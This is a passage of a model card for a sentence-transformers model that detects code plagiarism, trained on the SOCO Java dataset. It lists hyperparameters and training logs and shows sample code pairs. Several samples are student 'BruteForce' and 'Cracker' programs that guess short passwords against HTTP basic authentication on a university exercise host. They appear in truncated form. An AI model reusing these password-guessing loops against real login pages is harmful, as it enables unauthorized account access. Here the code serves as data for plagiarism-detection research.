Runtime.getRuntime().exec(s3);\n q2.waitFor();\n\n \n Thread.sleep(86400000);\n\n p3 = Runtime.getRuntime().exec("wget -p --convert-links http://www.cs.rmit.edu./students/");\n p3.waitFor();\n\n Process q4 = Runtime.getRuntime().exec(s4);\n q4.waitFor();\n Process q5 = Runtime.getRuntime().exec(s5);\n q5.waitFor();\n\n try\n {\n String str;\n p4 = Runtime.getRuntime().exec(s6);\n DataInputStream inp1 = new DataInputStream(p4.getInputStream());\n p4.waitFor();\n \n System.out.println("The WatchDog - Returns 0 if change else 1");\n System.out.println("Value :" + p4.exitValue());\n try\n {\n while ((str = inp1.readLine()) != null)\n {\n System.out.println(str);\n }\n }\n catch (IOException e)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException e )\n {\n e.printStackTrace();\n }\n\n BufferedReader in = new BufferedReader(new FileReader("change.html"));\n \n if (in.readLine() != null)\n {\n\n try\n {\n String str1;\n p5 = Runtime.getRuntime().exec(s1);\n DataInputStream inp2 = new DataInputStream(p5.getInputStream());\n p5.waitFor();\n try\n {\n while ((str1 = inp2.readLine()) != null)\n {\n System.out.println(str1);\n }\n }\n catch (IOException e1)\n {\n System.exit(0);\n }\n\n }\n catch(FileNotFoundException exp)\n {\n exp.printStackTrace();\n }\n\n }\n }\n }\n}\n\n', 'import java.io.*;\nimport java.util.*;\nimport java.net.*;\nimport java.net.Authenticator;\n\n\npublic class BruteForce\n{\n\n\tprivate String result ="";\n\n\tpublic class customAuthenticator extends Authenticator {\n\t public customAuthenticator(String passwd)\n {\n this.pass = passwd;\n }\n\n\t protected PasswordAuthentication getPasswordAuthentication()\n {\n\t return new PasswordAuthentication("",pass.toCharArray());\n }\n public String pass;\n }\n\n public BruteForce() {\n java.util.Date d = java.util.Calendar.getInstance().getTime();\n System.out.println(d.toString());\n\t\tchar words[] = { \'a\',\'b\',\'c\',\'d\',\'e\', \'f\', \'g\', \'h\', \'i\',\'j\',\'k\',\'l\',\'m\',\'n\',\'o\',\'p\',\n\t\t\t\t\t\t\t \'q\',\'r\',\'s\',\'t\',\'u\',\'v\',\'w\',\'x\',\'y\',\'z\', \'A\',\'B\',\'C\',\'D\',\'E\', \'F\', \'G\',\n\t\t\t\t\t\t\t \'H\', \'I\',\'J\',\'K\',\'L\',\'M\',\'N\',\'O\',\'P\',\'Q\',\'R\',\'S\',\'T\',\'U\',\'V\',\'W\',\'X\',\'Y\',\'Z\'};\n\n\t\tString record = null;\n\n\n\n String url = "http://sec-crack.cs.rmit.edu./SEC/2/";\n\n\t\tchar pass[] = {\'x\',\'x\',\'x\'};\n\t\tint count=1;\n\t\tString passwd=new String();\n HttpURLConnection connection = null;\n URL u = null;\n\n try\n {\n u = new URL(url);\n\n }\n catch (MalformedURLException e)\n {\n }\n\n for(int a=0;aClick to see the direct usage in Transformers --> ## Training Details ### Training Dataset #### soco_train_java * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) * Size: 30,069 training samples * Columns: label, text_1, and text_2 * Approximate statistics based on the first 1000 samples: | | label | text_1 | text_2 | |:--------|:-----------------------------------------------|:------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | int | string | string | | details |
  • 0: ~99.80%
  • 1: ~0.20%
|
  • min: 51 tokens
  • mean: 448.9 tokens
  • max: 512 tokens
|
  • min: 54 tokens
  • mean: 464.58 tokens
  • max: 512 tokens
| * Samples: | label | text_1 | text_2 | |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class WatchDog
{
public static FileWriter out = null, output = null;

public static void main (String args[]) throws Exception {
Socket socket = null;
DataOutputStream = null;
BufferedReader bf = null, fr = null;
String retVal = null, StatusCode = "HTTP/1.1 200 OK";
int dirty = 0, count = 0;

stime = System.currentTimeMillis();
System.out.println("Detecting the changes...");

try {


URL yahoo = new URL("http://www.cs.rmit.edu./students/");
URLConnection yc = yahoo.openConnection();


BufferedReader in = new BufferedReader(
new InputStreamReader(
yc.getInputStream()));

String inputLine;
try {
out = new FileWriter("newstudent");
while ((inp...
|
import java.util.*;


public class Cracker
{
private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
private Vector v;

public Cracker()
{
v = new Vector( 52);
}
public void loadLetters()
{
int i;

for( i = 0; i < letters.length; i++)
{
String s = new StringBuffer().append( letters[i]).toString();
v.add( s);
}
}
public Vector getVictor()
{
return ;
}
public void loadPairs()
{
int i,j;

for( i = 0; i < letters.length - 1; i++)
{
for( j = i + 1; j < letters.length; j++)
{
String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
String s2 = new StringBuffer().append( letters[j]).append( letters[i])....
| | 0 |
import java.net.*;
import java.*;
import java.io.*;
import java.util.GregorianCalendar;
public class BruteForce
{

private char passwd_Array []={'a','b','c','d','e','f','g','h','i','j','k',
'l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B',
'C','D','E','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V',
'W','X','Y','Z','0','1','2','3','4','5','6','7','8','9','\'','.','&'};
private int num=1;
public void crackAddress() throws Exception
{
String line,username="",passwd;
int flag=0;
Runtime run = Runtime.getRuntime();
GregorianCalendar =new GregorianCalendar();
for(int k=0;k {
for(int j=0;j {
for(int i=0;i {
passwd =(new StringBuffer().append(passwd_Array[i]).append(passwd_Array[j]).append(passwd_Array[k])).toString();
System....
|




import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;



public class DictionaryPropertyHelper {

private static Properties dictProps;



public DictionaryPropertyHelper() {
}



public static String getProperty(String pKey){
try{
initProps();
}
catch(Exception e){
System.err.println("Error init'ing the dictionary Props");
e.printStackTrace();
}
return dictProps.getProperty(pKey);
}


private static void initProps() throws Exception{
if(dictProps == null){
dictProps = new Properties();

InputStream fis =
DictionaryPropertyHelper.class.getResourceAsStream("/dictionary.properties");
dictProps.load(fis);
}
}
}

| | 0 |



import java.net.*;
import java.io.*;
import java.util.Date;

public class BruteForce {
private URL url;
private HttpURLConnection connection;
private static String[] lowerCase = {"a", "b", "c", "d", "e", "f", "g", "h", "i", "j",
"k", "l", "m", "n", "o", "p", "q", "r", "s", "t",
"u", "v", "w", "x", "y", "z"};
private static String[] upperCase = {"A", "B", "C", "D", "E", "F", "G", "H", "I", "J",
"K", "L", "M", "N", "O", "P", "Q", "R", "S", "T",
"U", "V", "W", "X", "Y", "Z"};
private String userPassword, base64_userPassword;
private static char wrongPass;

public BruteForce() {
wrongPass = 'Y';
}

public char determinePass(String inputURL, String userName, String passWord){

try{
url = new URL(inputURL);
connection = (HttpURLConnection)url.openConnection();
this.getEncoded(userName,...
| import java.io.*;

class WatchDog {
public static void main(String args[]) {

if (args.length<1)
{
System.out.println("Correct Format Filename email address of the recordkeeper");
System.exit(1);
}

while (true)
{


FileInputStream stream=null;
DataInputStream word=null;
String input=" ";


try {


String ls_str;


Process ls_proc = Runtime.getRuntime().exec("wget http://www.cs.rmit.edu./students");
try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}

String[] cmd = {"//sh","-c", "diff Index2.html index.html >report.txt "};

ls_proc = Runtime.getRuntime().exec(cmd);


try {
Thread.sleep(2000);
}catch (Exception e) {
System.err.println("Caught ThreadException: " +e.getMessage());
}



if (ls_proc.exitValue()==2)
{
System.out.println("The file was checked for f...
| * Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) ### Evaluation Dataset #### soco_train_java * Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476) * Size: 3,342 evaluation samples * Columns: label, text_1, and text_2 * Approximate statistics based on the first 1000 samples: | | label | text_1 | text_2 | |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | int | string | string | | details |
  • 0: ~99.50%
  • 1: ~0.50%
|
  • min: 51 tokens
  • mean: 451.02 tokens
  • max: 512 tokens
|
  • min: 54 tokens
  • mean: 464.38 tokens
  • max: 512 tokens
| * Samples: | label | text_1 | text_2 | |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 0 | import java.io.*;
import java.net.*;











public class BruteForce
{
private String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private static String password;
private static int length;
private static int t_counter;
private static int f_counter;

private static int cases;

private static int respCode;

public BruteForce()
{
Authenticator.setDefault(new BruteForceAuthenticator());
t_counter = 0;
f_counter = 0;
cases = 0;
}

public static void main (String[] args)
{
BruteForce bf = new BruteForce();
String file = " ";
while(respCode != 200)
{
file = bf.fetchURL();
}
System.out.println("Number of attempts: " + t_counter);
System.out.println("Password: " + password);
System.out.println(file);
}

private String fetchURL()
{
...
|




import java.io.IOException;
import java.net.*;

import java.io.*;
import java.util.*;



public class BruteForce

{

static String strLetter[];

static URL url = null;
static URLConnection urlConnection;
static InputStream urlStream;

static String strExceptionPassword[];

static int intExceptionCount = -1;

static int intNumberOfConnectionAttempts = 0;

static String username = "";

static String strLastPasswordTested;



public static void main (String args[])

{



Calendar calStart;
Calendar calFinish;
Date dateStart;
Date dateFinish;
lngStart;
lngFinish;





calStart = new GregorianCalendar();
dateStart = calStart.getTime();
lngStart = dateStart.getTime();




System.out.println();
System.out.println();






populateArray();







boolean boolPasswordFound...
| | 0 |



import java.util.*;
import java.net.*;
import java.io.*;
import misc.BASE64Encoder;
import javax.swing.*;

public class ConnectionThread extends Thread
{
private String url;
private URL currURL;
private URLConnection conn;
private HoldSharedData sharedData;
private int noOfThread;
private int batch;

public ConnectionThread( String pageURL, int wThread,
int newBatch, HoldSharedData data )
{
super();
url = pageURL;
noOfThread = wThread;
batch = newBatch;
sharedData = data;
}


public void run()
{
try
{
currURL = new URL( url );

for( int i = noOfThread*batch; (i < (noOfThread + 1)*batch) &&
(i < sharedData.getPwdCount()); i ++ )
{
String pwd = sharedData.getPasswordAt( i );

conn = currURL.openConnection();

...
| import java.net.*;
import java.io.*;


public class EmailClient
{
private String sender, recipient, hostName;

public EmailClient(String nSender, String nRecipient, String nHost)
{
sender = nSender;
recipient = nRecipient;
hostName = nHost;
}

public void sendMail(String subject, String message)
{
try
{
Socket s1=null;
InputStream is = null;
OutputStream os = null;

DataOutputStream = null;

s1 = new Socket(hostName,25);
is = s1.getInputStream();
os = s1.getOutputStream();

bd = new DataOutputStream(os);

BufferedReader response = new BufferedReader(new InputStreamReader(is));

bd.writeBytes("HELO "+ InetAddress.getLocalHost().getHostName() + "\r\n");

waitForSuccessResponse(response);

bd.writeBytes("MAIL FROM:"+sender+"\n");

waitForSuccessResponse(response);

bd.writeBytes("RCPT :"+recipient+"\n");

waitForSuccessResponse(response);

bd.writeBytes("data"+"\n");

bd.writeBytes("Subject:"+subject+"\n");

bd.writeBy...
| | 0 | import java.io.*;
import java.util.*;
import java.text.*;
import java.net.*;


public class LoginAttempt
{




private String urlName = "http://sec-crack.cs.rmit.edu./SEC/2/index.php";
private String userName = "";
private String connectString = "";


public LoginAttempt()
{
}




public LoginAttemptResults tryPasswords(String [] casedPasswords, int passwordsTried)
{
boolean foundPassword = false;
LoginAttemptResults results = new LoginAttemptResults();

for( i = 0; i < casedPasswords.length; i++)
{
passwordsTried++;
try
{
URL targetURL;
HttpURLConnection connection;
targetURL = new URL(urlName);
connection = (HttpURLConnection) targetURL.openConnection();

connectString = userName + ":" + casedPasswords[i].trim();
connectString = new targetURL.misc.BASE64Encoder().encode(connectString.getByt...
|
package java.httputils;

import java.io.BufferedInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLConnection;
import java.sql.Timestamp;


public class HttpRequestClient
{
protected URL serverURL;
protected java.net.HttpURLConnection httpConnection;
protected Timestamp start;
protected Timestamp end;
protected StringBuffer content = new StringBuffer();
protected int millis;
protected int code;

public HttpRequestClient(String url)
throws MalformedURLException, IOException
{
setServerURL(new URL(url));

setStart(new Timestamp(System.currentTimeMillis()));


setHttpConnection(
(HttpURLConnection)this.getServerURL().openConnection());
doRequest();
}


public HttpRequestClient()
{
super();
}


public int doRequest()
throws IOException
{...
| * Loss: [SoftmaxLoss](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss) ### Training Hyperparameters #### Non-Default Hyperparameters - `eval_strategy`: steps - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `num_train_epochs`: 1 - `warmup_ratio`: 0.1 - `fp16`: True #### All Hyperparameters
Click to expand - `overwrite_output_dir`: False - `do_predict`: False - `eval_strategy`: steps - `prediction_loss_only`: True - `per_device_train_batch_size`: 16 - `per_device_eval_batch_size`: 16 - `per_gpu_train_batch_size`: None - `per_gpu_eval_batch_size`: None - `gradient_accumulation_steps`: 1 - `eval_accumulation_steps`: None - `torch_empty_cache_steps`: None - `learning_rate`: 5e-05 - `weight_decay`: 0.0 - `adam_beta1`: 0.9 - `adam_beta2`: 0.999 - `adam_epsilon`: 1e-08 - `max_grad_norm`: 1.0 - `num_train_epochs`: 1 - `max_steps`: -1 - `lr_scheduler_type`: linear - `lr_scheduler_kwargs`: {} - `warmup_ratio`: 0.1 - `warmup_steps`: 0 - `log_level`: passive - `log_level_replica`: warning - `log_on_each_node`: True - `logging_nan_inf_filter`: True - `save_safetensors`: True - `save_on_each_node`: False - `save_only_model`: False - `restore_callback_states_from_checkpoint`: False - `no_cuda`: False - `use_cpu`: False - `use_mps_device`: False - `seed`: 42 - `data_seed`: None - `jit_mode_eval`: False - `use_ipex`: False - `bf16`: False - `fp16`: True - `fp16_opt_level`: O1 - `half_precision_backend`: auto - `bf16_full_eval`: False - `fp16_full_eval`: False - `tf32`: None - `local_rank`: 0 - `ddp_backend`: None - `tpu_num_cores`: None - `tpu_metrics_debug`: False - `debug`: [] - `dataloader_drop_last`: False - `dataloader_num_workers`: 0 - `dataloader_prefetch_factor`: None - `past_index`: -1 - `disable_tqdm`: False - `remove_unused_columns`: True - `label_names`: None - `load_best_model_at_end`: False - `ignore_data_skip`: False - `fsdp`: [] - `fsdp_min_num_params`: 0 - `fsdp_config`: {'min_num_params': 0, 'xla': False, 'xla_fsdp_v2': False, 'xla_fsdp_grad_ckpt': False} - `fsdp_transformer_layer_cls_to_wrap`: None - `accelerator_config`: {'split_batches': False, 'dispatch_batches': None, 'even_batches': True, 'use_seedable_sampler': True, 'non_blocking': False, 'gradient_accumulation_kwargs': None} - `deepspeed`: None - `label_smoothing_factor`: 0.0 - `optim`: adamw_torch - `optim_args`: None - `adafactor`: False - `group_by_length`: False - `length_column_name`: length - `ddp_find_unused_parameters`: None - `ddp_bucket_cap_mb`: None - `ddp_broadcast_buffers`: False - `dataloader_pin_memory`: True - `dataloader_persistent_workers`: False - `skip_memory_metrics`: True - `use_legacy_prediction_loop`: False - `push_to_hub`: False - `resume_from_checkpoint`: None - `hub_model_id`: None - `hub_strategy`: every_save - `hub_private_repo`: None - `hub_always_push`: False - `gradient_checkpointing`: False - `gradient_checkpointing_kwargs`: None - `include_inputs_for_metrics`: False - `include_for_metrics`: [] - `eval_do_concat_batches`: True - `fp16_backend`: auto - `push_to_hub_model_id`: None - `push_to_hub_organization`: None - `mp_parameters`: - `auto_find_batch_size`: False - `full_determinism`: False - `torchdynamo`: None - `ray_scope`: last - `ddp_timeout`: 1800 - `torch_compile`: False - `torch_compile_backend`: None - `torch_compile_mode`: None - `include_tokens_per_second`: False - `include_num_input_tokens_seen`: False - `neftune_noise_alpha`: None - `optim_target_modules`: None - `batch_eval_metrics`: False - `eval_on_start`: False - `use_liger_kernel`: False - `eval_use_gather_object`: False - `average_tokens_across_devices`: False - `prompts`: None - `batch_sampler`: batch_sampler - `multi_dataset_batch_sampler`: proportional
### Training Logs | Epoch | Step | Training Loss | Validation Loss | |:------:|:----:|:-------------:|:---------------:| | 0.0532 | 100 | 0.0842 | 0.0238 | | 0.1064 | 200 | 0.0111 | 0.0203 | | 0.1596 | 300 | 0.0061 | 0.0253 | | 0.2128 | 400 | 0.0243 | 0.0203 | | 0.2660 | 500 | 0.0311 | 0.0209 | | 0.3191 | 600 | 0.0212 | 0.0203 | | 0.3723 | 700 | 0.0137 | 0.0237 | | 0.4255 | 800 | 0.03 | 0.0199 | | 0.4787 | 900 | 0.0104 | 0.0195 | | 0.5319 | 1000 | 0.0141 | 0.0201 | | 0.5851 | 1100 | 0.0214 | 0.0186 | | 0.6383 | 1200 | 0.0151 | 0.0192 | | 0.6915 | 1300 | 0.0219 | 0.0185 | | 0.7447 | 1400 | 0.0152 | 0.0184 | | 0.7979 | 1500 | 0.0082 | 0.0192 | | 0.8511 | 1600 | 0.0128 | 0.0182 | | 0.9043 | 1700 | 0.0155 | 0.0172 | | 0.9574 | 1800 | 0.0102 | 0.0174 | ### Framework Versions - Python: 3.11.13 - Sentence Transformers: 4.1.0 - Transformers: 4.52.4 - PyTorch: 2.6.0+cu124 - Accelerate: 1.7.0 - Datasets: 3.6.0 - Tokenizers: 0.21.1 ## Citation ### BibTeX #### Sentence Transformers and SoftmaxLoss ```bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } ```